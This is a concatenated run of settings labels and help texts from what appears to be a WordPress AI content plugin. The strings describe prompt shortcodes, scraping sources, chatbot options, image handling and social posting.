%%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the main Sections of the article. These will be set also as headings in the article. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%sections_count%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the outro of the article. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the outro of the article. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the outro of the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the outro of the article. You can use the following shortcodes: %%video_title%%, %%video_descripton%%, %%video_url%%, %%video_id%%, %%video_captions%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the product comparison prompt of the article. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to be used for the review post main sections. You can use the following shortcodes: %%product_title%%, %%product_description%%, %%aff_url%%, %%product_author%%, %%offer_price%%, %%product_price%%, %%product_list_price%%, %%product_brand%%, %%product_isbn%%, %%product_upc%%, %%product_reviews%%, %%price_numeric%%, %%price_currency%%, %%product_asin%%, %%cart_url%%, %%list_price_numeric%%, %%product_imgs%%, %%sections_count%%, %%search_keywords%%, %%language%%, %%writing_style%%, %%point_of_view%%, %%writing_tone%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.Prompt to prepend to text continuation requestsPrompt to use for keyword/keyphrase extraction from the submitted text (so the internet search will be more probable to return related results to the query sent to the AI). You can use the following shortcode here: %%original_prompt%%. The default value for this settings is: Using which keyword or phrase should I search the internet, so I get results related to the following text? Give me only a single search phrase or keyword, don't write anything else. The text is: "%%original_prompt%%"?Prompt*PromptsPrompts Editable By Users:Protect HTML Tags in Edited Text:Provide the post ID for which you want to query the content.Provide the text which needs to be spun.Provide the text which needs to be translated.Provide the text which will be used to generate the embeddings result.Publish DatePublish Edited Content Even if the AI Removed Parts of the HTML Text:PublishedPunjabiPunjabi (Google Translate)Puppeteer (HeadlessBrowserAPI)Puppeteer (needs to be installed on server)PurposeQdrantQdrant API:Qdrant Collection Name (Optional):Qdrant Index URL:QuechuaQuechua (Google Translate)QueriesQuoteRSS Feed URLRadioRandomRandom (Top/Bottom)Random Amazon Product ThumbnailRandom Sentence Generator:Random SentencesRandom noise seed (omit this option or use 0 for a random seed)Random userRandomize CSV Row Processing OrderRandomize CSV Row Processing Order:Randomize Product OrderRandomize Product Order:Rate Limit Prevention Delay Between API & Scraping Requests (ms):Rate Limit Prevention SettingsRecommended Plugins For YouReddit Post Content TemplateReddit Post Title TemplateReddit Post TypeRedditomatic Post GeneratorRedirecting...Regex expressionRegex replacementRegister Envato Purchase Code To Enable Automatic Updates:Register Purchase CodeReindex Every Post:Related Headings AI Generator PromptRelated Headings AI Generator Prompt:Related NLP EntitiesRelated Questions CreationRelated SERP SearchesRelated Video Search API Key:RelevanceReligionRemaining API Calls For Today: Remaining API Tokens: Remote GetRemote PostRemove WP Default Post CategoryRemove WP Default Post Category:Replace Matches From RegexReplace Matches From Regex (Content)Replace Matches From Regex (Content):Replace Matches From Regex (Prompts)Replace Matches From Regex (Prompts):Replace the above regex matches with this regex expression. If you want to strip matched content from prompts, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.Replacement KeywordRequire Only One Word From The 'Required Words List':Required PHP ExtensionsRequired plugin not active. Get It Now!Required*Resize qualityResize the AI generated image to the height specified in this text field (in pixels). If you want to disable this feature, leave this field blank. This feature will work only if you copy AI generated images from their original sources.Resize the AI generated image to the width specified in this text field (in pixels). If you want to disable this feature, leave this field blank. This feature will work only if you copy AI generated images from their original sources, locally to your own server.Resize the image that was assigned to be the featured image to the height specified in this text field (in pixels). If you want to disable this feature, leave this field blank.Resize the image that was assigned to be the featured image to the width specified in this text field (in pixels). If you want to disable this feature, leave this field blank.Response Streaming (Recommended)Response Streaming*Restore Assistants From FileRestore OmniBlock Templates From FileRestore Personas From FileRestore Plugin Default SettingsRestore To DefaultResult filesResults Order: Results TemplateRetrievalRetrieval enables the assistant with knowledge from files that you or your users upload. Once a file is uploaded, the assistant automatically decides when to retrieve content based on user requests. To enable this functionality, a newer model is needed, version 1106 or newer.Retrieve ContentReturns content from a specific post ID. You can get many specific data from a post, based on its ID.Revoke LicenseRewrite Also Post URL With The Modified Title:Rich Content Creation OptionsRich Content Creation Options:RightRoleRomanianRomanian (Google Translate)RowsRoyalty FreeRoyalty Free Image Attribution Text (%%royalty_free_image_attribution%%): Royalty Free Image Options:Royalty Free Image SearchRoyalty Free Image Search Options:Royalty Free Image Search Order:Royalty Free ImagesRuleRule Based Restrictions:Rule DisabledRules Currently Running:Rules Per Page:Run Above Regex On PromptsRun Above Regex On Prompts:Run NowRun OmniBlockRun Post EditingRun Regex On ContentRun Regex On Content:Run Regex On PromptsRun Regex On Prompts:Run Rules Only After This HourRun Rules Only Before This HourRun Taxonomy Desciption WritingRun The Content Prompt Separately For Each SectionRun This Rule NowRun regex on post content. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.Run regex on prompts. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.RussianRussian (Google Translate)SEO Meta Description Options:SEO Meta Description PromptSERVERSETUPSIMPLESLOWSLOWERSLOWESTSUHOSIN InstalledSUHOSIN Installed:Safe Search: SamoanSamoan (Google Translate)Sample ResponseSampler:Sampling Steps:SanskritSanskrit (Google Translate)Saudi ArabiaSaveSave & Add NewSave AI ContentSave Above OmniBlocks As A New Template:Save New TemplateSave New ThemeSave New Theme From Current Colors:Save OmniBlock TemplateSave SettingsSave content to fileSave new color themes from current color settings.Save the above OmniBlock queue as a new OmniBlock template. Afterwards, the template will be manageable in the 'OmniBlock Template Manager' tab from above.Saves the AI created data as a WordPress postSaves the OmniBlock Queue configured above, as a new TemplateSaving post...ScheduleScheduling RestrictionsScienceScottish GaelicScottish Gaelic (Google Translate)Scrape LinksScrape RSSScrape SitesScraped URLScrapes content from RSS feedsScrapes data from websites and uses it for content creationScrapes product details from Amazon, by ASINScrapes product listing details from Amazon, by ASIN or keywordScrapes the YouTube video captions and uses them for AI content creationScraping Enhancements Options:Scraping MethodScraping Query SelectorScraping Query StringScroll To Bottom Of The Form On New Messages:Search Google and get search results dataSearch KeywordSearch Keywords For Related Posts, In:Search Offset:Search Post SourceSearch Query RepetitionSearch Query Repetition:Search Query:Search Results Order: Second List of Possible Sentences (%%random_sentence2%%):Second Person Plural (you [plural], y'all, you guys)Second Person Singular (you, your, yours)Secret Word Used For Cron Running (Optional):SectionsSeed For AI Writer (To Make Responses Deterministic):Seed:SelectSelect A Chatbot Persona: Select A File To UploadSelect An OmniBlock Template:Select DataSelect File To Upload:Select a Category (Optional)Select a OmniBlock template category to list.Select a OmniBlock template to be used in this rule. You can import the default templates which come bundled with the plugin, from the above 'OmniBlock Template Manager' tab -> 'Backup/Restore OmniBlock Templates' button -> 'Import Default OmniBlock Templates' button.Select a Voice:Select a block type to addSelect a list of comma separated words that you do not wish to spin (only for built-in spinners).Select a personaSelect a secret word that will be used when you run the post editing part of the plugin manually by URL/by cron. See details about this below.Select a templateSelect a textual template you want to preppend the audio/video embed. You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to usersm using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). If you use Royalty Free Images as a source, you can also set their keywords here, if no keywords set, they will be automatically generated.Select a textual template you want to send to the AI audio/video converter.You can use the following shortcodes here: %%post_title%%, %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%post_tags%%, %%featured_image%%, %%blog_title%%, %%author_name%%, %%current_date_time%%, %%post_link%%, %%random_sentence%%, %%random_sentence2%%. You can also use custom fields (post meta) that it's assigned to posts using custom shortcodes in this format: %%!custom_field_slug!%%. You can also use custom user meta fields (user meta) which is assigned to usersm using custom shortcodes in this format: %%~custom_field_slug~%%. Example: if you wish to add data that is imported from the custom field post_data, you should use this shortcode: %%!post_data!%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). If you use Royalty Free Images as a source, you can also set their keywords here, if no keywords set, they will be automatically generated.Select a the Audio Device Profile of the chosen voice.Select a the Voice Pitch of the chosen voice. Speaking pitch, in the range [-20.0, 20.0]. 20 means increase 20 semitones from the original pitch. -20 means decrease 20 semitones from the original pitch.Select a the Voice Speed of the chosen voice. Speaking rate/speed, in the range [0.25, 4.0]. 1.0 is the normal native speed supported by the specific voice. 2.0 is twice as fast, and 0.5 is half as fast. If unset(0.0), defaults to the native 1.0 speed. Any other values < 0.25 or > 4.0 will return an error.Select a the Voice speed of the chosen voice. The default value is 1. Min: 0.25, max: 4.Select a the Voice stability of the chosen voice. Higher stability ensures consistency but may result in monotony, therefore for longer text, it is recommended to decrease stability. The default value is 0.75Select a the language of the chosen voice.Select a the name of the chosen voice.Select a theme to deleteSelect a voice you want to use for your chatbot.Select a voice you want to use for your content.Select a voice you want to use for your video chatbot. You can add voices in the following format: voice_provider:voice_name:voice_config - available voices lists:Select a voice you want to use for your video content. You can add voices in the following format: voice_provider:voice_name:voice_config - available voices lists:Select an ActionSelect an OmniBlock Template to be loaded into the OmniBlock Queue. Note that this will overwrite your current OmniBlock setup.Select an avatarSelect an email address where a notification will be sent, in case a specific rule depleted its keywords and it did not publish any new content because of this. This will be applied only if you check the 'Process Each Title/Topic Only Once' checkbox in rules. You can enter a comma separated list of email addresses which will be notified.Select an imageSelect if you don't want to add the product links directly to headings.Select if you don't want to process the same post twice using bulk post editing.Select if you want the Keyword Replacer Tool to match also partial words, or only full words.Select if you want the Keyword Replacer Tool to match in a case sensitive words mode (upper case differentiated from lower case words).Select if you want to add a Customer Reviews Analysis section to the created post. To enable Customer Reviews Analysis for articles, be sure to add a prompt also in the 'Article Customer Reviews Analysis Prompt' settings field from below.Select if you want to add a Pros & Cons section to the created post. To enable Pros & Cons for articles, be sure to add a prompt also in the 'Article Pros & Cons Prompt' settings field from below.Select if you want to add a Q&A section to the created post. To enable Q&A for articles, be sure to add a prompt also in the 'Article Q&A Prompt' settings field from below.Select if you want to add a Table of Contents section to the created post.Select if you want to add a product comparison table to the created article.Select if you want to add an image to each of the creating headings from the article.Select if you want to add the product image to the article.Select if you want to add the product images to the article.Select if you want to allow empty chat messages or notSelect if you want to allow the chatbot to send HTML responses and the plugin to execute and parse these HTML responses.Select if you want to apply an absolute timeframe. With absolute, a day represents today. Otherwise, it represent the past 24 hours from now. The same logic applies to the other time frames.Select if you want to automatically scroll the window to bottom on new messages.Select if you want to change post status after editing posts.Select if you want to convert markdown to HTML in AI generated content.Select if you want to convert new lines to
                    tags in created article content.Select if you want to enable Function Calling in the chatbot preview from below. This will apply only if regular AI models are used (not AI Assistants - for these, the Function Calling needs to be enabled from Assistant editing menu). Also, Function Calling will work only for logged in administrator privileged users.Select if you want to enable Function Calling in the globally injected chatbot, on the entire front end and/or back end of your site. This will apply only if regular AI models are used (not AI Assistants - for these, the Function Calling needs to be enabled from Assistant editing menu). Also, Function Calling will work only for logged in administrator privileged users.Select if you want to enable WordPress function calling module (God Mode) for the Chatbot.Select if you want to enable also SEO meta description writing for the taxonomies. Note that this will work only for taxonomies automatically processed using the 'Enable Automatic Processing Of All Newly Added Taxonomies For' settings field from above. Also, note that you will need to have a SEO plugin installed on your site, from the following list: Yoast SEO, All In One SEO, Rank Math.Select if you want to enable automatic processing and description creation using AI of all newly added taxonomies for the taxonomy names you select (which don't already have a description set when they are created).Select if you want to enable chatbot moderationSelect if you want to enable chatbot text to speech/video.Select if you want to enable direct scraping of Pixabay website. This will generate different results from the API.Select if you want to enable embedding of the chatbot on remote websites, using iframes.Select if you want to enable response streaming for your AI form.Select if you want to enable text to speech/video feature of the plugin.Select if you want to enable the 'Dall-E Image' for the Chatbot.Select if you want to enable the copying of messages, if users click the message bubbles.Select if you want to enable the persistent chat mode also for not logged in users.Select if you want to enable the persistent chat mode. Chats will be saved in the database and can be viewed from the 'Limits and Statistics' menu of the plugin. If you want to enable the Vector Database persistent chat functionality, you need to add your API key for a Vector Database Service in the plugin's 'Main Settings' menu. Also, you need to enable embeddings for the chatbot, from the 'Main Settings' menu -> 'Embeddings' tab -> 'Enable Embeddings For' -> check the 'Chatbot Shortcodes' checkbox -> save settings.Select if you want to enable the prompts to be user editable. You should use this feature only together with the prompt templates feature.Select if you want to enable the voice input feature for the chatbot.Select if you want to enable usage of the Google Images Search with the Creative Commons filter enabled, for getting images.Select if you want to enable usage of the Unsplash API for getting images.Select if you want to enable users to upload PDF files to the chatbot.Select if you want to enable vision for the chatbot. Note that to use this feature, you will need an AI model which supports vision.Select if you want to enable/disable the chatbot God Mode feature. This will allow ultimate control of your WordPress site, allowing it to call functions from WordPress directly. Using this feature, you will be able to create posts directly from the chatbot, assign taxonomies, images and many more! Warning! This is a BETA feature, use it with caution. This will apply only if regular AI models are used (not AI Assistants - for these, the God Mode needs to be enabled from Assistant editing menu). Also, God Mode will work only for logged in administrator privileged users.Select if you want to inject the chatbot globally, to the entire front end and/or back end of your site.Select if you want to limit the maximum number of characters extracted from the pdf files.Select if you want to limit the maximum number of pages extracted from the pdf files.Select if you want to make the chatbot respond with full text or do you want to enable a typing effect, so text will appear gradually. You can also use streaming, which is the recommended method to be used, as in this case, the plugin will show the response in real time, as it is generated by the AI (similar to ChatGPT).Select if you want to make the chatbot respond with full text or do you want to enable response streaming, which is the recommended method to be used. In this case, the response will appear in real time, as it is generated by the AI (similar to ChatGPT). You can also use a typing effect, so text will appear gradually, but in this case, the response will start to appear only after the AI sent the full response to the plugin. This is also required for the text-to-speech feature of the plugin.Select if you want to make this rule target post title, content or both.Select if you want to open added links in a new tab.Select if you want to overwrite existing posts during the publishing process.Select if you want to overwrite the chatbot text-to-speech voice ID. This needs to be exactly matching the voice ID of the text-to-speech engine you are using. For example, for OpenAI Text-to-Speech API, the voice IDs can be: alloy, echo, onyx, nova, fable, shimmerSelect if you want to overwrite the chatbot video avatar URL.Select if you want to process added YouTube videos in order of entry or in random order.Select if you want to process each keyword from the added list only once.Select if you want to process each title from the added list only once.Select if you want to randomize the royalty free image sources order, at each run. If you check this checkbox, the above order will not be applied any more.Select if you want to randomize the search results order, of the returned images. This can lower the accuracy of images, but make images more unique.Select if you want to reindex all posts (also the ones which are already indexed).Select if you want to remove JavaScript code from the chatbot's HTML responses.Select if you want to remove all HTML tags from the scraped content and leave only the plain textual content in it.Select if you want to show a WP Rich Text editor instead of a plain textarea for the AI results output.Select if you want to show advanced form options for users.Select if you want to show the Chat Clearing Button.Select if you want to show the Chat Log TXT File Download Button.Select if you want to show the chatbot header.Select if you want to show the clearing button.Select if you want to show the form header to users.Select if you want to try to translate search query keywords to English. This can be useful for non-English languages.Select if you want to use AI generated titles for the posts created by the plugin. If not, the YouTube video title will be used.Select if you want to use AI vision and send to the AI model also the Featured Image of the edited post. Note that the AI prompt might also be needed to be updated if you enable this feature.Select if you want to use the AI writer to get related headings for created articles.Select if you want to use the Bing search results to get related headings for created articles.Select if you want to use the above content prompt to create the entire article from a single API call (checkbox checked) or to run the prompt for each section separately (checkbox unchecked). If you check this, be sure to modify the content prompt accordingly.Select if you want to use the same API key when creating posts, or do you want to select a new API key for each API request.Select if you would like to add a relevant YouTube video to the end of the created article.Select if you would like to add the source YouTube video to the end of the created article.Select images that have received an Editor's Choice award.Select in which parts of the posts published on your site do you want to search for related keywords. If you leave this field blank, the default values will be post title and content.Select on which prompts do you want to run the above Regex. Possible values are (or any of their combinations): title, intro, sections, content, outro, excerptSelect on which prompts do you want to run the above Regex. Possible values are (or any of their combinations): title, intro, sections, content, qa, outro, excerptSelect on which prompts do you want to run the above Regex. Possible values are (or any of their combinations): title, intro, sections, content, reviews, proscons, qa, outro, excerptSelect the AI API service to use to generate content in the plugin using the gpt-3.5/gpt-4 models.Select the AI Assistant to be used with the AI writer. If you select an assistant, a model cannot be selected any more, but instead, the model assigned to the assistant will be used.Select the AI Assistant to be used. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.Select the AI Assistant to use for content creation. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.Select the AI Model to be used for AI SEO Meta Description Generator.Select the AI Model to be used for categories generator.Select the AI Model to be used for category generator. You can add this to the post categories, if you select 'AI Generated Categories' in the 'Auto Add Categories' settings field.Select the AI Model to be used for comments generator.Select the AI Model to be used for headings generator.Select the AI Model to be used for tag generator. You can add this to the post tags, if you select 'AI Generated Tags' in the 'Auto Add Tags' settings field.Select the AI Model to be used for tags generator.Select the AI Model to be used for text generator.Select the AI Model to be used for the Customer Reviews Analysis generator.Select the AI Model to be used for the Pros & Cons generator.Select the AI Model to be used for the Q&A generator.Select the AI Model to be used for the category generator. You can add this to the post categories, if you select 'AI Generated Categories' in the 'Auto Add Categories' settings field.Select the AI Model to be used for the comparison table generator.Select the AI Model to be used for the content generator.Select the AI Model to be used for the excerpt generator.Select the AI Model to be used for the headings generator.Select the AI Model to be used for the intro generator.Select the AI Model to be used for the outro generator.Select the AI Model to be used for the product comparison table generator.Select the AI Model to be used for the sections generator.Select the AI Model to be used for the tag generator. You can add this to the post tags, if you select 'AI Generated Tags' in the 'Auto Add Tags' settings field.Select the AI Model to be used for the text generator.Select the AI Model to be used for the title generator.Select the AI Model to be used for the title text generator. You can add this to the post titles, using the %%ai_generated_title%% shortcode.Select the AI Model to be used for title text generator. You can add this to the post titles, using the %%ai_generated_title%% shortcode.Select the AI Model you want to use.Select the AI assistant ID to be used for this form.Select the AI assistant to be used for this form.Select the AI model to be used for this form.Select the AI model to use for text editing. Currently, the specialized edit models from OpenAI/AiomaticAPI are in beta, because of this, at the moment, it is recommended to use a completion model.Select the AI model you want to use for moderation.Select the AI model you wish to use for image the image generator.Select the Background color of the form.Select the alignment of the submit button.Select the assistant to be used for chatbot. The model used when creating the AI Assistant will be used to create the content.Select the author that you want to assign for the automatically generated posts.Select the background color of the chatbot form. Default is #f7f7f9Select the background color of the chatbot form. Default is #ffffffSelect the board associated with your account, where you want to publish your pins.Select the border color for the input field. Default is #e1e3e6Select the business associated with your account, where you want to publish your posts.Select the button color of the form.Select the button text color of the form.Select the chat font size of the chatbot form. Default is 1emSelect the chatbot persona you want to use for your current chatbot setup.Select the color of the persona name.Select the color of the persona role.Select the color of the submit button. Default is #55a7e2Select the color of the voice button. Default is #55a7e2Select the content type you want to send to the webhook. Possible values are JSON or Form Data.Select the country where you have registred your affiliate account.Select the days of the week when you don't want to run this rule. You can enter a comma separate list of day names.Select the default chat mode (image or text).Select the default model you want to use for the AI Comment Writer.Select the default model you want to use for the AI Default Featured Image Selector prompt.Select the default model you want to use for the AI Linking Keyword Extraction.Select the default model you want to use for the AI Taxonomy Description Writer.Select the default model you want to use for the AI Taxonomy SEO Description Writer. This will set the SEO description for the following SEO plugins: Yoast SEO, All In One SEO, Rank Math.Select the default model you want to use for the AI writer functionality of the plugin.Select the default model you want to use for the YouTube Video search keyword extractor prompt.Select the default model you want to use for the [aicontent] shortcode. You can defined this also in shortcode parameters.Select the embeddings API which will be used by default.Select the engine which will be used for content image editing.Select the engine which will be used for image editing.Select the file to load into a shortcode. You can load plain text files or xlsx files. If you load an xlsx file, you can also use the following shortcodes to access xlsx data: %%xlsx_BLOCKID_XLSXROW_XLSXCOLUMN%%, %%xlsx_BLOCKID_column_XLSXCOLUMN%%, %%xlsx_BLOCKID_row_XLSXROW%%, %%xlsx_BLOCKID_row_random%%, %%xlsx_BLOCKID_row_random_check%%Select the files which will be available for the assistant. You can add more files in the 'Manage Assistant Files' menu. To enable this functionality, code interpreter or retrieval needs to be enabled for this assistant.Select the folder name from CloudFlare R2 where to save the video files. If you leave this blank, the videos will be uploaded to the root folder of your CloudFlare R2. The plugin will create the directory you define here, if it is not already existing.Select the folder name from Amazon S3 where to save the video files. If you leave this blank, the videos will be uploaded to the root folder of your Amazon S3. The plugin will create the directory you define here, if it is not already existing.Select the folder name from Digital Ocean Spaces where to save the video files. If you leave this blank, the videos will be uploaded to the root folder of your Digital Ocean Spaces. The plugin will create the directory you define here, if it is not already existing.Select the folder name from Wasabi where to save the video files. If you leave this blank, the videos will be uploaded to the root folder of your Wasabi. The plugin will create the directory you define here, if it is not already existing.Select the font color of the AI baloon chatbot form. Default is #f0f0f0Select the font color of the AI chatbot form. Default is blackSelect the font color of the user baloon chatbot form. Default is #0084ffSelect the font color of the user chatbot form. Default is whiteSelect the height of the chatbot form. Default is auto. You can set values in pixels, like: 400pxSelect the image model for AI generated images.Select the image model for the AI image chatbot.Select the image size for AI generated images.Select the image size for the AI image chatbot.Select the interval in hours after which you want this rule to run. Defined in hours.Select the interval in minutes after which you want this rule to run. Defined in minutes.Select the language of the automatic keyword extractor, which is used for the internal/external linking feature of the plugin.Select the linking method to use in posts.Select the location of the heading images.Select the location of the heading images/videos.Select the location of the submit button.Select the max length for form input fields.Select the maximum number of credits for guests who are not logged in. To disable this feature, leave this field blank.Select the maximum number of credits for logged in users. Also, you can select the type of credits: queries, tokens or price. To disable this feature, leave this field blank.Select the maximum number of keywords to process in a single run.Select the maximum number of posts that this rule can create at once.Select the maximum position of the images from the image search results. More relevant images are shown first in the royalty free image search results. Because of this, using here a number as low as 4 will make the plugin use only the first 4 image results which were returned by the royalty free image search. This can improve image precision. If you leave this field blank, the default value will be used: 4Select the message which is displayed to the user in case the image creations fails.Select the message which will appear to users when their input is flagged.Select the method to be used for scraping. This will affect the %%item_scraped_data%% shortcode.Select the method to be used for the title generator.Select the method you want to use for automatic article keyword extraction.Select the min length for form input fields.Select the min-height of the chatbot form (when the form is resized, this is the minimum height it will be allowed to get. Default is 250px. You can set values in pixels, like: 400pxSelect the minimum number of characters that the content additional content should have. If the API returns content which has fewer characters than this number, another API call will be made, until this character limit is met. Please check about API rate limiting here.Select the minimum number of characters that the posts should have. If the API returns content which has fewer characters than this number, another API call will be made, until this character limit is met. Please check about API rate limiting here.Select the model of the chatbot.Select the model to be used for chatbot.Select the model to be used when generating the voices.Select the model to be used with the AI writer.Select the model you want to use for embedding content rewriting and optimizing.Select the model you want to use for embeddings.Select the model you want to use for keyword extraction, for internet search results.Select the model you want to use for keyword extraction, for royalty free image importing.Select the number of search results to add in the %%web_results%% shortcode. The default value for this settings is : 3Select the numeric ID of the author that you want to assign for the automatically generated posts.Select the output format to be used when generating the text to speech.Select the page associated with your App ID, where you want to publish your posts.Select the persona name color for the input field. Default is #3c434aSelect the persona role color for the input field. Default is #3c434aSelect the placeholder color for the input field. Default is #e1e3e6Select the placeholder text of the form output.Select the point of view of the article.Select the post category that you want for the automatically generated posts to have.Select the post tags that you want for the automatically generated posts to have. Spintax supported.Select the post types for which you want to enable embeddings auto indexing.Select the posting mode you want to use. This will be equivalent with the posting modes available in the plugins Bulk Post Creator menu.Select the quality of the compressed images. Accepted values: 1-100. 1 is lowest quality, 100 is highest quality. If you want to disable this feature, leave this field blank. This feature will work only if you copy AI generated images from their original sources. Default is 75.Select the quality of the resized images. Accepted values: 1-100. 1 is lowest quality, 100 is highest quality. If you want to disable this feature, leave this field blank.Select the quality of the resized images. Accepted values: 1-100. 1 is lowest quality, 100 is highest quality. If you want to disable this feature, leave this field blank. This feature will work only if you copy AI generated images from their original sources.Select the query type you want to search for the article full content.Select the request method you want to use, when sending the data to the webhook.Select the search query repetition mode, when searching royalty free images.Select the size of the generated image.Select the source language of the translation.Select the source of the created featured images.Select the source of the post title. If you select AI generated, the plugin will create an AI generated title based on keywords you enter in the 'Post Title List' settings field. Otherwise, it will use the titles listed there, for the created posts.Select the status that you want for the automatically generated posts to have.Select the taxonomies which you want to be affected by the manual taxonomy writing process.Select the template of the embedding which will be saved in the database. You can use the following shortcodes: %%post_title%%, %%post_content%%, %%post_excerpt%%, %%post_url%%, %%post_id%%. The default value of this field is: %%post_title%% -- %%post_excerpt%% -- Read more at: %%post_url%%Select the text color for the input field. Default is #e1e3e6Select the text color of the form.Select the text color of the submit button. Default is #55a7e2Select the time frame for which to apply the above limitation.Select the type (post/page) for your automatically generated item.Select the type of credits.Select the type of sorting of the returned results.Select the type of sorting of the returned results. This will work only if you also set a value to the 'Amazon Category' settings field.Select the type of sorting of the returned results. This will work only if you also set a value to the \'Amazon Category\' settings field.Select the user role to be restricted.Select the users who will have full access when interacting with the features of the plugin.Select the voice to be used when generating the text to speech.Select the way you want to schedule automatic editing of existing posts from your site, using the below settings.Select the width of the chatbot form. For full width, you can set 100% (default value). You can also set values in pixels, like: 400pxSelect what type of OmniBlock you want to add.Select what type of block you want to add.Select what you want to do with product titles in articles.Select what you want to do with sections in articles.Select when do you want to automatically process posts.Select where you want to copy audio/video files. You can copy the files also to a cloud storage, using this extension: Select where you want to show the embedded chatbot.Select which posts should be processed - posts with or without featured images.Select your prefered order in which you want to search royalty free image sources.Send An Email Notification When A Specific Rule Has Depleted Its Keywords/Topics:Send Rule Running Summary in Email:Sends an email to your desired email addressSends content to a webhookSends pins to Pinterest boardsSends posts to Facebook pagesSends posts to Google My Business pagesSends posts to Instagram pagesSends posts to LinkedIn pagesSends posts to Reddit subredditsSends posts to X (Twitter) pagesSends posts to YouTube Community pagesSends text/link posts to Facebook pagesSeparate Post Source with commasSeparate tags with commasSepediSepedi (Google Translate)SerbianSerbian (Google Translate)SerpAPI API Key (Optional) (Used for Related Headings & AI Internet Access)SerpAPI Key (optional)SerpAPI:Server EnvironmentSesothoSesotho (Google Translate)Session IDSession ID: The ID of the session in which the request was made.Set The Maximum Number Of Lines To ProcessSet a Custom Comment Date Range:Set a Custom Post Publish Date RangeSet a Custom Post Publish Date Range:Set a comma sepatated list of images to assign to posts. You can also use the AI to select the best matching image (basd on keywords from image name and URL).Set a hardcoded context window limit for the Claude 200k models. If you don't set this, the default 200000 token limit will be used.Set a hardcoded context window limit for the Claude models. If you don't set this, the default 100000 token limit will be used.Set a hardcoded context window limit for the gpt-3.5-turbo-1106 model. If you don't set this, the default 16385 token limit will be used.Set a hardcoded context window limit for the gpt-4-1106(-preview) model. If you don't set this, the default 128000 token limit will be used.Set a icon which will open the chatbot.Set a list of URL where to not show the chatbot. You can enter multiple URLs, each on a new 